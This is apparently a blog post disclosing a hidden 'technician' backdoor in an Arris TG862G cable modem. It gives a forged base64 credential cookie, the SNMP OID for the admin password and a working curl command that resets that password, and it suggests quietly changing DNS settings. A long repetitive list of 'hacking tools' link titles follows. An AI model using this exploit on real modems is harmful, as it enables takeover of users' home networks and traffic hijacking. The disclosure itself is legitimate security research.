Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW
After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}And finally:
{"credential":"technician:"}Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(
That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.
Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:
That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:
Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OKWhat about setting a new value? Surely that will not work....
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:
This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.
The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this
Related news
- Hack Tools Mac
- Tools Used For Hacking
- Hack Tools For Mac
- Hacking Tools For Windows
- Hacker Tool Kit
- Hacking Tools Online
- Hacking Tools 2020
- Physical Pentest Tools
- Hacker Tools Linux
- Pentest Tools Download
- Hacking Tools For Beginners
- Hacker Search Tools
- Game Hacking
- Pentest Tools Subdomain
- Hack App
- Hacker Tools Mac
- Black Hat Hacker Tools
- Pentest Tools Windows
- Hackers Toolbox
- Pentest Tools Download
- Hacker Tools Linux
- Hacker Tools Linux
- How To Hack
- Hacking Apps
- Pentest Tools For Windows
- Pentest Tools Windows
- Pentest Tools Open Source
- Pentest Tools Android
- Usb Pentest Tools
- Hacking Tools Online
- Hacker Tools 2019
- Physical Pentest Tools
- Pentest Tools Framework
- How To Install Pentest Tools In Ubuntu
- Hacker Tools
- Hacker Tools For Ios
- Hacking Tools For Windows 7
- Game Hacking
- Hack Tools
- Hacking Tools And Software
- Hacker Tools For Ios
- Hacking Tools Pc
- Hacker Tools Github
- Pentest Tools Website
- Hak5 Tools
- Tools Used For Hacking
- Hacker
- Pentest Tools Apk
- Hack Tools For Games
- Hacking Tools 2020
- Computer Hacker
- Pentest Tools
- Hacker Tool Kit
- Hacking Tools Name
- Pentest Tools Android
- Hacker Techniques Tools And Incident Handling
- How To Install Pentest Tools In Ubuntu
- Hacker Tools For Pc
- Underground Hacker Sites
- Hacking Tools Name
- Ethical Hacker Tools
- Free Pentest Tools For Windows
- Easy Hack Tools
- Free Pentest Tools For Windows
- Hack Tools
- Hack Tools Pc
- Hacking Tools Software
- Pentest Automation Tools
- Pentest Tools Framework
- Hacking Tools For Windows 7
- Hacking Tools Hardware
- Kik Hack Tools
- Pentest Reporting Tools
- Pentest Reporting Tools
- Easy Hack Tools
- Computer Hacker
- Pentest Tools Url Fuzzer
- Hacker Tools Linux
- Pentest Tools Find Subdomains
- How To Make Hacking Tools
- How To Hack
- Hacking Tools Windows
- Pentest Tools Open Source
- Best Hacking Tools 2020
- Hack Tools Download
- World No 1 Hacker Software
- Hack And Tools
- Hack Website Online Tool
- Hackers Toolbox
- Pentest Tools Apk
- Pentest Tools For Ubuntu
- Pentest Box Tools Download
- Hack Tool Apk
- Hacking Tools 2019
- Hacker Tools Software
- Install Pentest Tools Ubuntu
- Ethical Hacker Tools
- Hacker Tools Hardware
- Hacker Tools
- Pentest Tools
- Pentest Tools Port Scanner
- Hacking Tools 2019
- World No 1 Hacker Software
- Hacking Tools For Windows
- Black Hat Hacker Tools
- Hacker Tools List
- Hacker Tools For Mac
- Hacker Tools Free Download
- Pentest Tools For Android
- Pentest Tools Subdomain
- Nsa Hacker Tools
- Best Hacking Tools 2019
- Pentest Tools Tcp Port Scanner
- Hacker Tools For Windows
- Pentest Tools For Ubuntu
0 comments:
Post a Comment